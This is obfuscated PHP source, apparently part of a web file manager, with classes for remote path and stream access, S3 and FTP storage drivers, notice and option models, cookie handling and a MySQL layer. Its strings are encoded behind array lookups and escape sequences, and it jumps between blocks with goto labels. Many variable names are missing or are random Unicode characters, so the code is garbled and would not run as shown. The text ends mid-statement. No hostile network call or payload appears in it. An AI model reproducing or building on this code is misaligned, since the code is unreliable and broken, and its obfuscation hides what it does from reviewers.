PathDriverBase { static $_cacheHeader = array(); public function __construct($􅸑 = false) { } public function exist($Ҡ) { $ = $this->info($Ҡ); return $[$_SERVER[㫙][194]]; } public function isFile($Ƭ) { $ = $this->info($Ƭ); return $[$_SERVER[㫙][194]]; } public function isFolder($Ϊ) { return !1; } public function size($ܧ羀) { $񨽹 = $this->info($ܧ羀); return $񨽹[$_SERVER[㫙][80]]; } public function info($ቇ) { return $this->infoParse($ቇ); } public function infoAuth($דᴲ) { return $this->infoParse($דᴲ); } public function infoWithChildren($戅) { return $this->infoParse($戅); } public function infoFull($ħݿ) { return $this->infoParse($ħݿ); } private function infoParse($ˁ) { $燼ޒ =& $_SERVER[㫙]; $ = $this->header($ˁ); if (!$ || !$[$燼ޒ[751]]) { return !1; } $ = _get($, $燼ޒ[332], 0); $ި = array($燼ޒ[32] => $[$燼ޒ[32]], $燼ޒ[78] => $ˁ, $燼ޒ[33] => $燼ޒ[192], $燼ޒ[80] => intval($), $燼ޒ[167] => get_path_ext($[$燼ޒ[32]]), $燼ޒ[1372] => $ > 0 && $[$燼ޒ[1494]], $燼ޒ[1373] => !1); return $ި; } private function header($) { $ =& $_SERVER[㫙]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1495]]) ? $GLOBALS[$[1495]] : !1; $GLOBALS[$[1495]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1495]] = $; return self::$_cacheHeader[$]; } public function hashSimple($縁, $Ї = false) { $뼊 =& $_SERVER[㫙]; $Ƕ = $this->info($縁); if (!$Ƕ || !$Ƕ[$뼊[194]]) { return !1; } $ = $Ƕ[$뼊[80]]; $ż = 200; $ = 50; if ($ <= $ż * $) { return md5($this->fileSubstr($縁, 0, $)) . $; } $ = intval($ / $); $±ң = $뼊[12]; $ = timeFloat(); $ژ = 15; for ($Ё = 0; $Ё < $; $Ё++) { if (timeFloat() - $ > $ژ) { return !1; } $Ҳ = $this->fileSubstr($縁, $ * $Ё, $ż); if (!$Ҳ) { return !1; } $±ң .= $Ҳ; } $±ң .= $this->fileSubstr($縁, $ - $ż, $ż); return md5($±ң) . $; } public function getContent($؅) { return $this->fileSubstr($؅); } public function fileSubstr($, $᱇ = 0, $ = -1) { $ =& $_SERVER[㫙]; $٫ = $this->info($); if (!$٫ || !$٫[$[194]] && $٫[$[80]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $٫[$[80]]; } if ($ == 0) { return $[12]; } $̽ = array($[1496] . $᱇ . $[783] . ($᱇ + $ - 1)); $͚ = url_request($, $[225], !1, $̽, !1, !1, 1); return $͚[$[1187]] ? $͚[$[1187]] : $[12]; } public function download($, $̰) { Downloader::start($, $̰); return $̰; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[㫙][78]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ܑ = $this->fileSubstr($this->pose, $); $this->pose += strlen($ܑ); return $ܑ; } public function stream_tell() { return $this->pose; } public function stream_seek($څ, $虈) { $㮢 =& $_SERVER[㫙]; if ($虈 == SEEK_SET) { $this->pose = $څ; } else { if ($虈 == SEEK_CUR) { $this->pose += $څ; } else { if ($虈 == SEEK_END) { $this->pose = $this->info[$㮢[80]] + intval($څ); } } } if ($څ < 0) { $this->pose = $this->info[$㮢[80]] + $څ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[㫙][80]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ɱ, $ᆷݏ) { $Ѱ =& $_SERVER[㫙]; $ = $this->info($ɱ); return array($Ѱ[1497] => 0, $Ѱ[1498] => 0, $Ѱ[16] => 32768 + 511, $Ѱ[1499] => 0, $Ѱ[1500] => 0, $Ѱ[1501] => 0, $Ѱ[1502] => 0, $Ѱ[80] => $[$Ѱ[80]], $Ѱ[1503] => $[$Ѱ[1371]], $Ѱ[1459] => $[$Ѱ[86]], $Ѱ[1458] => $[$Ѱ[193]], $Ѱ[1504] => 0, $Ѱ[1505] => 0); } static $fileInfo = array(); public function info($ޱ) { $ = $_SERVER[㫙][1506]; if (isset(self::$fileInfo[$ޱ])) { return self::$fileInfo[$ޱ]; } if (substr($ޱ, 0, strlen($)) != $) { return !1; } self::$fileInfo[$ޱ] = IO::info(substr($ޱ, strlen($))); return self::$fileInfo[$ޱ]; } public static function read($뛂, $׊, $Ά) { if (!isset(self::$_fopenCache[$뛂])) { $ = new StreamWrapperIO(); $->stream_open($뛂); self::$_fopenCache[$뛂] = $; } $ = self::$_fopenCache[$뛂]; return $->fileSubstr($׊, $Ά); } public static function _read($㍷, $, $Ѐǀ) { $٢ =& $_SERVER[㫙]; $ = fopen($㍷, $٢[1375]); if (!$) { return $٢[12]; } $Ø = 8192; fseek($, $, SEEK_SET); $դ = $٢[12]; $͔ = 0; while ($͔ < $Ѐǀ) { $Ӡ = min($Ø, $Ѐǀ - $͔); $դ .= fread($, $Ӡ); $͔ += $Ӡ; } fclose($); return $դ; } public function fileSubstr($ߩ, $) { $ޕ׊ =& $_SERVER[㫙]; $ޚ = $this->info[$ޕ׊[80]]; $ǹ = $ߩ; $ = $; if ($ߩ < 0) { $ߩ = $ޚ + $ߩ; } if ($ === !1) { $ = $ޚ - $ߩ; } if ($ߩ + $ > $ޚ) { $ = $ޚ - $ߩ; } if ($ <= 0) { return $ޕ׊[12]; } if ($ߩ < 0 || $ߩ >= $ޚ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\151\x6f\x46\151\154\x65\122\x65\141\x64\x20\145\162\x72\157\x72\x21\40\x73\164\x61\162\x74\75{$ߩ}\73\x6c\x65\x6e\147\164\150\x3d{$}\73\40\163\x69\172\145\x3d{$ޚ}\x3b"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $ٱ = $ޕ׊[12]; foreach ($ as $ => $ٱ) { $ = intval($); $ = $ + strlen($ٱ); if ($ߩ >= $) { continue; } if ($ߩ >= $ && $ߩ + $ <= $) { return substr($ٱ, $ߩ - $, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($ޕ׊[1507], $ޕ׊[1508] . count($) . "\x3b\x73\164\141\x72\x74\x3d{$ߩ}\x2c\154\x65\156\147\164\150\75{$}\x3b\x70\157\x73\145\72{$}\176{$}"); throw new Exception($ޕ׊[1509]); } $¯ = intval($ߩ / $) * $; $Ӝ = ceil(($ߩ + $) / $) * $ - $¯; $눌 = IO::fileSubstr($this->path, $¯, $Ӝ); $[$¯ . $ޕ׊[12]] = $눌; ksort($); $ = substr($눌, $ߩ - $¯, $); return $; } private function log($, $⚣) { $ͪ =& $_SERVER[㫙]; $ˁ = timeFloat() - $this->timeStart; write_log(sprintf($ͪ[1510], $, $this->info[$ͪ[32]], $ˁ, $⚣), $ͪ[1177]); } } goto C֧; F: class PathDriverEDS extends PathDriverMinIO { public function __construct($ڒ) { parent::__construct($ڒ); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($А) { parent::__construct($А); $this->signatureVersion($_SERVER[㫙][211]); } public function uploadFormData($̞, $ɱ = 3600) { $ʇ =& $_SERVER[㫙]; $ = $ʇ[191]; $ = $ʇ[1340]; $̟ = $ʇ[62]; $ō = gmdate($ʇ[1341]); $ = gmdate($ʇ[752]); $ = $ʇ[1342]; $֍ = $ɱ . $ʇ[12]; $ = $ʇ[1304]; $ȓ = array($this->accessKey, $, $this->region, $̟, $); $쿸 = implode($ʇ[8], $ȓ); $ = array($ʇ[1306] => gmdate($ʇ[1305], strtotime($ʇ[1343])), $ʇ[1307] => array(array($ʇ[1309] => $this->bucket), array($ʇ[1308] => $), array($ʇ[1310], $ʇ[1311], $ʇ[12]), array($ʇ[1310], $ʇ[1344], $ʇ[12]), array($ʇ[1310], $ʇ[1345], $ʇ[12]), array($ʇ[1312] => $), array($ʇ[1346] => $쿸), array($ʇ[1347] => $), array($ʇ[1348] => $ō), array($ʇ[1349] => $֍))); $ɡ = base64_encode(json_encode($)); $ = hash_hmac($ʇ[1350], $, $ʇ[1351] . $this->secret, !0); $ҵ = hash_hmac($ʇ[1350], $this->region, $, !0); $˸ = hash_hmac($ʇ[1350], $̟, $ҵ, !0); $ = hash_hmac($ʇ[1350], $, $˸, !0); $⛨ = hash_hmac($ʇ[1350], $ɡ, $); $ = array($ʇ[210] => $ʇ[12], $ʇ[1352] => $ʇ[12], $ʇ[1308] => $, $ʇ[1312] => $, $ʇ[1316] => $ɡ, $ʇ[1353] => $쿸, $ʇ[1354] => $, $ʇ[1355] => $ō, $ʇ[1356] => $֍, $ʇ[1357] => $⛨, $ʇ[174] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; private $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ڦ) { $ɔݽ =& $_SERVER[㫙]; global $config; $this->appCharset = $config[$ɔݽ[1358]]; $this->systemCharset = $config[$ɔݽ[1359]]; if (isset($ڦ[$ɔݽ[1360]]) && $ڦ[$ɔݽ[1360]]) { $this->systemCharset = $ڦ[$ɔݽ[1360]]; } } public function iconvApp($ံ) { return $this->iconvTo($ံ, $this->systemCharset, $this->appCharset); } public function iconvSystem($ޡ) { return $this->iconvTo($ޡ, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[㫙]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1361]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1361]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($쁰Ǔ = array()) { $Ӝ =& $_SERVER[㫙]; if (!function_exists($Ӝ[1362])) { throw new Exception(LNG($Ӝ[1363])); } $this->config = $쁰Ǔ; $this->charsetReset($쁰Ǔ); foreach ($쁰Ǔ as $ݙѩ => $) { if (isset($this->{$ݙѩ})) { $this->{$ݙѩ} = $; } } return $this->_login($쁰Ǔ); } private function _login($Ӌ) { $ =& $_SERVER[㫙]; static $ʀ = array(); $ = md5(json_encode($Ӌ)); if (isset($ʀ[$])) { foreach ($ʀ[$] as $˅ => $) { $this->{$˅} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[174]]; $쩗 = isset($[$[173]]) && $[$[173]] == $[1364] ? !0 : !1; $this->scheme = $쩗 ? $[1365] : $[1366]; $this->port = isset($[$[175]]) ? $[$[175]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[89] ? !0 : !1; @ftp_pasv($this->connect, $); $ʀ[$] = array($[1367] => $this->connect, $[174] => $this->host, $[173] => $this->scheme, $[175] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ԏ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $ԏ)) { return $this->getPathOuter($); } return !1; } public function mkdir($߫, $Ϙ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $߫ = $this->iconvSystem($߫); if ($this->_isFolder($߫) || @ftp_mkdir($this->connect, $߫)) { return $this->getPathOuter($߫); } if (!$this->mkdir($this->pathFather($߫))) { return !1; } if ($߫ = @ftp_mkdir($this->connect, $߫)) { return $this->getPathOuter($߫); } return !1; } public function copyFile($四, $) { if (!$this->_isconn()) { return !1; } $׉ = $this->pathThis($this->iconvSystem($四)); $ = $this->tempFile($׉); $ = $this->iconvApp($); $this->download($四, $); $ކ = $this->upload($, $); $this->tempFileRemve($); return $ކ; } public function moveFile($, $ؤ) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ؤ = $this->iconvSystem($ؤ); $ = @ftp_rename($this->connect, $, $ؤ); return $ ? $this->getPathOuter($ؤ) : !1; } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return @ftp_delete($this->connect, $); } public function delFolder($Ư) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ɼ = $ = array(); $this->fileList($Ư, $ɼ, $, !0); $this->listItemCache = !0; foreach ($ as $ǡю) { $ = $this->iconvSystem($ǡю[$_SERVER[㫙][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($ɼ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $Ư = $this->iconvSystem($Ư); return @ftp_rmdir($this->connect, $Ư); } public function rename($, $) { $Һ =& $_SERVER[㫙]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $Һ[8]) . $Һ[8] . $; $ݽ = @ftp_rename($this->connect, $, $); $ = $this->iconvApp($); return $ݽ ? $this->getPathOuter($) : !1; } private function folderInfo($, $ϐ = false) { $˃ =& $_SERVER[㫙]; $ = array($˃[32] => $this->pathThis($), $˃[78] => $this->getPathOuter($˃[8] . $), $˃[33] => $˃[79]); if ($ϐ) { return $; } $[$˃[193]] = $[$˃[86]] = 0; $[$˃[194]] = $[$˃[195]] = !0; return $; } private function fileInfo($, $֚ = false, $ = array()) { $㗠 =& $_SERVER[㫙]; $ = array($㗠[32] => $this->pathThis($), $㗠[78] => $this->getPathOuter($㗠[8] . $), $㗠[33] => $㗠[192], $㗠[80] => isset($[$㗠[80]]) ? $[$㗠[80]] : 0, $㗠[167] => $this->ext($)); if ($֚) { return $; } $[$㗠[193]] = $[$㗠[86]] = 0; $[$㗠[194]] = $[$㗠[195]] = !0; $޴̌ = $this->iconvSystem($); $[$㗠[86]] = @ftp_mdtm($this->connect, $޴̌); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$㗠[80]] = $[$㗠[80]]; return $; } public function size($΃) { $؀ = $this->objectMeta($΃); return $؀ ? $؀[$_SERVER[㫙][80]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ͯ, &$㜊ů, &$, $ = false) { $ܤ =& $_SERVER[㫙]; $ͯ = $this->iconvSystem($ͯ); if (!$this->isFolder($ͯ)) { return !1; } @ftp_chdir($this->connect, $ܤ[8]); $ͯ = rtrim($ͯ, $ܤ[8]) . $ܤ[8]; check_abort(); $ޓ = $this->listItemCache === !1 ? !1 : !0; $ڕ = @ftp_rawlist($this->connect, $ͯ); if (!$ڕ) { $ڕ = array(); } $© = array($ܤ[10] => 1, $ܤ[1368] => 1); foreach ($ڕ as $) { $ = $this->_listItem($); if ($[0] == $ܤ[760]) { continue; } $屨 = $[8]; if (empty($屨) && $屨 !== $ܤ[190] || isset($©[$屨])) { continue; } $屨 = $this->iconvApp($ͯ . ltrim($屨, $ܤ[8])); $ = array($ܤ[32] => $屨, $ܤ[33] => $ܤ[192], $ܤ[80] => $[4]); if (substr($, 0, 1) == $ܤ[1369]) { $[$ܤ[33]] = $ܤ[79]; $[$ܤ[80]] = 0; } $㫈ͷ = $[$ܤ[33]] == $ܤ[79] ? !0 : !1; if ($ޓ) { $this->cacheMethod($ܤ[198], $屨, $㫈ͷ); $this->cacheMethod($ܤ[199], $屨, $); } if ($㫈ͷ) { $㜊ů[] = $屨; if ($) { $this->fileList($屨, $㜊ů, $, $); } continue; } $[] = $; } if ($ޓ) { $this->cacheMethod($ܤ[198], $ͯ, !0); } } private function _listItem($ϢӸ) { if (empty($ϢӸ)) { return array(); } $ = preg_split($_SERVER[㫙][1370], $ϢӸ); if (count($) <= 9) { return $; } $[8] = trim(substr($ϢӸ, strpos($ϢӸ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $ج = false) { $ĭ =& $_SERVER[㫙]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $哆) { $[$] = $this->folderInfo($哆, $ج); } foreach ($ as $ => $哆) { $[$] = $this->fileInfo($哆[$ĭ[32]], $ج, $哆); } return array($ĭ[77] => $, $ĭ[76] => $); } public function has($˅ګ, $ = false, $ = true) { $ =& $_SERVER[㫙]; $ܖ = $ = array(); $պ = $ ? !0 : !1; $this->fileList($˅ګ, $ܖ, $, $պ); if ($) { return array($[202] => count($), $[203] => count($ܖ)); } if ($) { if (count($)) { return !0; } } else { if (count($ܖ)) { return !0; } } return !1; } public function listAll($) { $Ֆ =& $_SERVER[㫙]; if (!$this->_isconn()) { return !1; } $ = $友 = array(); $this->fileList($, $, $友, !0); $朋ȵ = array(); foreach ($友 as $Ї) { $朋ȵ[$Ї[$Ֆ[32]]] = $Ї[$Ֆ[80]]; } foreach ($ as $Ї) { if (is_string($Ї)) { $朋ȵ[$Ї] = 0; } } return $this->listAllFiles($, array_keys($朋ȵ), $朋ȵ); } public function getContent($쭏) { if (!$this->_isconn()) { return !1; } $쭏 = $this->iconvSystem($쭏); return $this->fileSubstr($쭏); } public function setContent($Ӌ, $꽏 = '') { if (!$this->_isconn()) { return !1; } $ĕ = $this->pathThis($this->iconvSystem($Ӌ)); $ȟ = $this->tempFile($ĕ); file_put_contents($ȟ, $꽏); $ = $this->upload($Ӌ, $this->iconvApp($ȟ)); $this->tempFileRemve($ȟ); return $; } public function fileSubstr($, $յ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $յ, $); } private function ftpRequest($Θ, $Ѭ = 0, $只 = false) { $Θ = $this->iconvSystem($Θ); $ = $this->scheme . $this->host . $_SERVER[㫙][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($Θ)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($只) { $яː = $Ѭ + $只 - 1; curl_setopt($, CURLOPT_RANGE, "{$Ѭ}\55{$яː}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $٥ = curl_exec($); curl_close($); return $٥; } public function upload($, $, $ԟ = false, $͞ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $Ơ컘 = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($Ơ컘 == FTP_MOREDATA) { $Ơ컘 = ftp_nb_continue($this->connect); } if ($Ơ컘 != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($ȉ, $ = '') { if (!$this->_isconn()) { return !1; } $劉 = $this->pathFather($); if (!IO::mkdir($劉)) { return !1; } $ȉ = $this->iconvSystem($ȉ); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $ȉ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[㫙][198], $); } protected function objectMeta($н) { return $this->cacheMethod($_SERVER[㫙][199], $н); } protected function _objectMeta($Ο) { $ =& $_SERVER[㫙]; if ($Ο == $[12] || $Ο == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $Ο = $this->iconvSystem($Ο); $ᛯ = array($[32] => $this->iconvApp($Ο), $[33] => $[192], $[80] => 0); @ftp_chdir($this->connect, $[8]); $ܒ = @ftp_size($this->connect, $Ο); if ($ܒ != -1) { $ᛯ[$[80]] = $ܒ; } else { $ = @ftp_chdir($this->connect, $Ο); if (!$) { return !1; } $ᛯ[$[33]] = $[79]; } return $ᛯ; } protected function _isFolder($ş) { $Ӂ =& $_SERVER[㫙]; if ($ş == $Ӂ[12] || $ş == $Ӂ[8]) { return !0; } $ = $this->_objectMeta($ş); return isset($[$Ӂ[33]]) && $[$Ӂ[33]] == $Ӂ[79] ? !0 : !1; } } goto E˙; c泦: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\155\x2e\156\x6f\164\151\x63\x65\x4c\151\x73\x74"; public $field = array("\x6e\x61\155\145", "\143\157\156\164\x65\156\x74", "\141\x75\164\150", "\x6d\157\x64\x65", "\x74\151\x6d\145", "\164\x79\160\145", "\x6c\145\x76\x65\x6c", "\x65\x6e\x61\142\x6c\x65", "\x73\x6f\162\x74"); public function listData($窒 = false, $ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($窒, $, $); } public function add($) { $ۅڒ =& $_SERVER[㫙]; $ = time(); if ($[$ۅڒ[16]] == $ۅڒ[2231]) { $ = strtotime($[$ۅڒ[196]]); } $[$ۅڒ[196]] = $; return parent::insert($); } public function update($, $ˍ) { $ڈ =& $_SERVER[㫙]; $䀾 = $this->listData($); if (!$䀾) { return !1; } $ْߥ = time(); if ($ˍ[$ڈ[16]] == $ڈ[2231]) { $ْߥ = strtotime($ˍ[$ڈ[196]]); } $ˍ[$ڈ[196]] = $ْߥ; return parent::update($, $ˍ); } public function remove($ȟ) { $ = $this->listData($ȟ); if (!$ || $[$_SERVER[㫙][1270]]) { return !1; } return parent::remove($ȟ); } public function sort($ӣ, $) { return parent::update($ӣ, $); } public function enable($, $šव) { return parent::update($, array($_SERVER[㫙][2232] => $šव)); } private function initUserOption() { $ =& $_SERVER[㫙]; $this->optionType = $[2233]; $this->modelType = $[2234]; $this->field = array($[2235], $[32], $[196], $[33], $[2236], $[751], $[188]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[㫙][392], !0); } public function userNoticeAdd($) { $꼬 =& $_SERVER[㫙]; $this->initUserOption(); $ = $this->findByKey($꼬[2235], $[$꼬[392]]); if ($) { return !0; } $ = array($꼬[2235] => $[$꼬[392]], $꼬[32] => $[$꼬[32]], $꼬[196] => $[$꼬[196]], $꼬[33] => isset($[$꼬[33]]) ? $[$꼬[33]] : 1, $꼬[2236] => isset($[$꼬[2236]]) ? $[$꼬[2236]] : 0, $꼬[751] => 0, $꼬[188] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\x79\x73\164\145\155\137\x6f\x70\164\151\157\x6e"; protected $jsonField = array("\155\145\156\165", "\x72\157\154\145", "\x72\x6f\x6c\x65\x47\162\x6f\x75\160", "\x72\145\x67\151\163\x74", "\x65\x6d\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($ȼ) { return "\123\171\x73\164\145\x6d\x4f\x70\164\151\157\x6e\137{$ȼ}"; } protected function optionDefault($ڣͽ = '') { $ƐŊ =& $_SERVER[㫙]; if ($ڣͽ == $ƐŊ[12]) { return $GLOBALS[$ƐŊ[6]][$ƐŊ[376]]; } } } class SystemRecordModel extends ModelBaseLight { } goto CѢٰ; BШ: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($˨΃ = '', $ = 0) { if (is_string($˨΃) && $˨΃ != $_SERVER[㫙][12]) { $this->prefix = $˨΃; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $ŪÐ; if ($ŪÐ === null) { $ŪÐ = new self(); } return $ŪÐ; } private static $cookieDisable = false; public static function disable($ŀ) { self::$cookieDisable = $ŀ; } private static $sameCookieSet = array(); public static function set($, $, $ = 0, $ު = false, $ = false) { $ =& $_SERVER[㫙]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ . $) { return; } self::$sameCookieSet[$] = $ . $; if (!$) { $ = str_replace(HOST, $[12], APP_HOST); $ = _get($GLOBALS, $[878], $); } $ = $[12]; setcookie($, $, time() + $, $[8] . trim($, $[8]) . $, !1, !1, $ު); } public static function setSafe($, $, $ = 0) { self::set($, $, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[㫙]; if (!isset($_SERVER[$[879]]) || !$_SERVER[$[879]]) { return; } $̾ = explode($[71], $_SERVER[$[879]]); foreach ($̾ as $渍) { $渍 = explode($[880], $渍); if (count($渍) != 2 || !isset($渍[1])) { continue; } $_COOKIE[trim($渍[0])] = trim($渍[1]); } } public static function remove($霰, $٠ = false) { unset($_COOKIE[$霰]); self::set($霰, $_SERVER[㫙][12], 1, $٠); } } class DbMysql extends Db { public function __construct($ȿ = '') { $ =& $_SERVER[㫙]; if (!extension_loaded($[805])) { think_exception(think_lang($[14]) . $[881]); } if (!empty($ȿ)) { $this->config = $ȿ; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $Ձ = 0, $å = false) { $խ =& $_SERVER[㫙]; if (!isset($this->linkID[$Ձ])) { if (empty($)) { $ = $this->config; } $͝ȭ = $[$խ[882]] . ($[$խ[883]] ? "\x3a{$[$խ[883]]}" : $խ[12]); $߲ = !empty($[$խ[17]][$խ[18]]) ? $[$խ[17]][$խ[18]] : $this->pconnect; if ($߲) { $this->linkID[$Ձ] = mysql_pconnect($͝ȭ, $[$խ[884]], $[$խ[885]], 131072); } else { $this->linkID[$Ձ] = mysql_connect($͝ȭ, $[$խ[884]], $[$խ[885]], !0, 131072); } if (!$this->linkID[$Ձ] || !empty($[$խ[21]]) && !mysql_select_db($[$խ[21]], $this->linkID[$Ձ])) { think_exception(mysql_error()); } $֫ = mysql_get_server_info($this->linkID[$Ձ]); mysql_query($խ[886] . think_config($խ[887]) . $խ[58], $this->linkID[$Ձ]); if ($֫ > $խ[888]) { mysql_query($խ[889], $this->linkID[$Ձ]); } $this->connected = !0; if (1 != think_config($խ[22])) { unset($this->config); } } return $this->linkID[$Ձ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($˔) { $Ѵ =& $_SERVER[㫙]; if (0 === stripos($˔, $Ѵ[259])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $˔; if ($this->queryID) { $this->free(); } think_action_status($Ѵ[23], 1); think_status($Ѵ[24]); $this->queryID = mysql_query($˔, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($̆) { $ =& $_SERVER[㫙]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $̆; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ϫɬ = mysql_query($̆, $this->_linkID); $this->debug(); if (!1 === $ϫɬ) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[㫙][890], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $؀Ƣ = mysql_query($_SERVER[㫙][891], $this->_linkID); $this->transTimes = 0; if (!$؀Ƣ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $̨ = mysql_query($_SERVER[㫙][892], $this->_linkID); $this->transTimes = 0; if (!$̨) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ۺ = mysql_fetch_assoc($this->queryID)) { $[] = $ۺ; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $Ñ =& $_SERVER[㫙]; $˾ = $this->query($Ñ[893] . $this->parseKey($)); $Ϲ = array(); if ($˾) { foreach ($˾ as $ => $Ұ) { $Ϲ[$Ұ[$Ñ[31]]] = array($Ñ[32] => $Ұ[$Ñ[31]], $Ñ[33] => $Ұ[$Ñ[34]], $Ñ[35] => (bool) (strtoupper($Ұ[$Ñ[36]]) === $Ñ[894]), $Ñ[37] => $Ұ[$Ñ[38]], $Ñ[39] => strtolower($Ұ[$Ñ[40]]) == $Ñ[41], $Ñ[42] => strtolower($Ұ[$Ñ[43]]) == $Ñ[44]); } } return $Ϲ; } public function getTables($ˎ = '') { $™ =& $_SERVER[㫙]; if (!empty($ˎ)) { $ = $™[895] . $ˎ . $™[896]; } else { $ = $™[897]; } $݁ = $this->query($); $ϒ = array(); foreach ($݁ as $ => $滔) { $ϒ[$] = current($滔); } return $ϒ; } public function replace($Þ, $͞ = array()) { $ =& $_SERVER[㫙]; foreach ($Þ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $Ѕɺ[] = $; $[] = $this->parseKey($); } } $ = $[898] . $this->parseTable($͞[$[274]]) . $[899] . implode($[50], $) . $[900] . implode($[50], $Ѕɺ) . $[901]; return $this->execute($); } public function insertAll($, $ = array(), $Ǎ = false) { $ =& $_SERVER[㫙]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); 